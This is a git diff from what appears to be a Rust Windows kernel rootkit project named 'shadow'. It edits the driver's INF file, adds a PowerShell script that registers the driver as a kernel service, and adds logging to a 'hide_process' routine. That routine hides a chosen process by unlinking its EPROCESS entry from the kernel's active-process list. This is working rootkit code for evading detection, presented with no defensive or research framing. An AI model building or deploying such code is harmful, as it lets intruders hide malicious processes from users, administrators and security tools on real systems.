diff --git a/driver/Cargo.toml b/driver/Cargo.toml index f6a76c8..50d16eb 100644 --- a/driver/Cargo.toml +++ b/driver/Cargo.toml @@ -1,3 +1,4 @@ +[workspace] [package] name = "shadow" version = "0.1.0" diff --git a/driver/shadow.inx b/driver/shadow.inx index 328d813..63c12a4 100644 --- a/driver/shadow.inx +++ b/driver/shadow.inx @@ -1,14 +1,12 @@ -; ; shadow.inf -; [Version] -Signature = "$WINDOWS NT$" -Class = System ; TODO: specify appropriate Class -ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid -Provider = %ManufacturerName% +Signature = "$WINDOWS NT$" +Class = System +ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} +Provider = %ManufacturerName% CatalogFile = shadow.cat -DriverVer = ; TODO: set DriverVer in stampinf property pages +DriverVer = 03/04/2025,16.12.53.325 PnpLockdown = 1 [DestinationDirs] @@ -18,29 +16,15 @@ DefaultDestDir = 13 1 = %DiskName%,,,"" [SourceDisksFiles] -shadow.sys = 1,, +shadow.sys = 1,, -;***************************************** -; Install Section -;***************************************** - -[Manufacturer] -%ManufacturerName% = Standard,NT$ARCH$.10.0...16299 ; %13% support introduced in build 16299 - -[Standard.NT$ARCH$.10.0...16299] -%shadow.DeviceDesc% = shadow_Device, Root\shadow ; TODO: edit hw-id - -[shadow_Device.NT] +[DefaultInstall.NTamd64] CopyFiles = File_Copy +AddService = shadow, 0x00000002, shadow_Service_Inst [File_Copy] shadow.sys -;-------------- Service installation -[shadow_Device.NT.Services] -AddService = shadow,%SPSVCINST_ASSOCSERVICE%, shadow_Service_Inst - -; -------------- shadow driver install sections [shadow_Service_Inst] DisplayName = %shadow.SVCDESC% ServiceType = 1 ; SERVICE_KERNEL_DRIVER @@ -48,15 +32,7 @@ StartType = 3 ; SERVICE_DEMAND_START ErrorControl = 1 ; SERVICE_ERROR_NORMAL ServiceBinary = %13%\shadow.sys -[shadow_Device.NT.Wdf] -KmdfService = shadow, shadow_wdfsect - -[shadow_wdfsect] -KmdfLibraryVersion = $KMDFVERSION$ - [Strings] -SPSVCINST_ASSOCSERVICE = 0x00000002 -ManufacturerName = "" ;TODO: Replace with your manufacturer name -DiskName = "shadow Installation Disk" -shadow.DeviceDesc = "shadow Device" -shadow.SVCDESC = "shadow Service" +ManufacturerName = "test" +DiskName = "shadow Installation Disk" +shadow.SVCDESC = "shadow Service" diff --git a/install-driver.ps1 b/install-driver.ps1 new file mode 100644 index 0000000..968c5a3 --- /dev/null +++ b/install-driver.ps1 @@ -0,0 +1,44 @@ +# Ensure the script is running with administrative privileges. +if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) +{ + Write-Error "This script must be run as Administrator." + exit 1 +} + +# Set the path to your INF file (update this path as needed) +$InfPath = ".\driver\target\release\shadow_package\shadow.inf" +$InfFullPath = Resolve-Path $InfPath + +Write-Output "Installing INF from: $InfFullPath" + +# Construct and run the rundll32 command to install the INF using the DefaultInstall.NTamd64 section +$rundllCmd = "rundll32.exe setupapi,InstallHinfSection DefaultInstall.NTamd64 132 `"$InfFullPath`"" +Write-Output "Executing: $rundllCmd" +Invoke-Expression $rundllCmd + +# Pause briefly to allow the INF installation to complete +Start-Sleep -Seconds 5 + +# Search for the driver file (shadow.sys) in the DriverStore\FileRepository +$DriverStorePath = "C:\Windows\System32\DriverStore\FileRepository" +$shadowSys = Get-ChildItem -Path $DriverStorePath -Recurse -Filter "shadow.sys" -ErrorAction SilentlyContinue | Select-Object -First 1 + +if ($null -eq $shadowSys) { + Write-Error "shadow.sys not found in DriverStore\FileRepository." + exit 1 +} + +$DriverFilePath = $shadowSys.FullName +Write-Output "Driver file found at: $DriverFilePath" + +# Create the service using sc.exe +$ServiceName = "shadow" +# Wrap the path in quotes (note the backticks for proper escaping in the command line) +$binPath = "`"$DriverFilePath`"" +$scCommand = "sc.exe create $ServiceName type= kernel binPath= $binPath start= demand" +Write-Output "Executing: $scCommand" +Invoke-Expression $scCommand + +# Query the service to verify it was created +Write-Output "Querying service $ServiceName" +sc.exe query $ServiceName diff --git a/shadowx/Cargo.toml b/shadowx/Cargo.toml index f25282b..6008baa 100644 --- a/shadowx/Cargo.toml +++ b/shadowx/Cargo.toml @@ -16,6 +16,7 @@ wdk-sys = "^0.3.0" wdk-alloc = "^0.3.0" spin = "0.9.8" obfstr = "0.4.4" +log = "0.4.22" bitfield = "0.17.0" ntapi = { version = "0.4.1", default-features = false } thiserror = { version = "2.0.10", default-features = false } diff --git a/shadowx/src/error.rs b/shadowx/src/error.rs index 6efbea6..ce7bfa7 100644 --- a/shadowx/src/error.rs +++ b/shadowx/src/error.rs @@ -145,6 +145,10 @@ pub enum ShadowError { /// This occurs when the system fails to remove a callback that was previously registered. #[error("Error removing a callback")] RemoveFailureCallback, + /// Represents an error when the process's active list entry is invalid, + /// such as when both the forward and backward pointers are null. + #[error("Invalid list entry encountered")] + InvalidListEntry, /// Error indicating that a failure occurred while restoring a callback. /// diff --git a/shadowx/src/process.rs b/shadowx/src/process.rs index 0a744ac..fb0b363 100644 --- a/shadowx/src/process.rs +++ b/shadowx/src/process.rs @@ -103,42 +103,71 @@ impl Process { /// in the list before it was modified. /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. pub unsafe fn hide_process(pid: usize) -> Result { + // Log the start of the process hiding routine. + log::info!("Attempting to hide process with PID: {}", pid); + // Getting offsets based on the Windows build number let active_process_link = get_active_process_link_offset(); let offset_lock = get_process_lock(); // Retrieve the EPROCESS structure for the target process let process = Self::new(pid)?; + log::info!("Found EPROCESS for PID {} at address: {:p}", pid, process.e_process); - // Retrieve the `LIST_ENTRY` for the active process link, which connects the process - // to the list of active processes in the system. + // Retrieve the `LIST_ENTRY` for the active process link. let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; - let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; + log::info!("Current LIST_ENTRY pointer: {:p}", current); - // Use synchronization to ensure thread safety while modifying the list + // Retrieve the push lock for synchronization. + let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; + log::info!("Using push lock at: {:p}", push_lock); + + // Use synchronization to ensure thread safety while modifying the list. with_push_lock_exclusive(push_lock, || { + log::info!("Acquired exclusive push lock for process hiding"); + // The next process in the chain let next = (*current).Flink; - // The previous process in the chain let previous = (*current).Blink; - + + log::info!( + "Before unlink: current->Flink = {:p}, current->Blink = {:p}", + (*current).Flink, (*current).Blink + ); + log::info!("Neighboring entries: next = {:p}, previous = {:p}", next, previous); + + // Check if the neighboring pointers are valid before proceeding + if next.is_null() || previous.is_null() { + log::error!("One or both of the neighboring pointers are null. Aborting unlink operation."); + return Err(ShadowError::InvalidListEntry); + } + // Storing the previous list entry, which will be returned let previous_link = LIST_ENTRY { Flink: next as *mut LIST_ENTRY, Blink: previous as *mut LIST_ENTRY, }; - + // Unlink the process from the active list (*next).Blink = previous; (*previous).Flink = next; - + log::info!("Unlinked process from active process list"); + // Make the current list entry point to itself to hide the process (*current).Flink = current; (*current).Blink = current; - + log::info!("Process LIST_ENTRY modified to point to itself"); + + // Log final state of the current entry + log::info!( + "Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}", + (*current).Flink, (*current).Blink + ); + Ok(previous_link) }) + } /// Unhides a process by restoring it to the active process list in the operating system.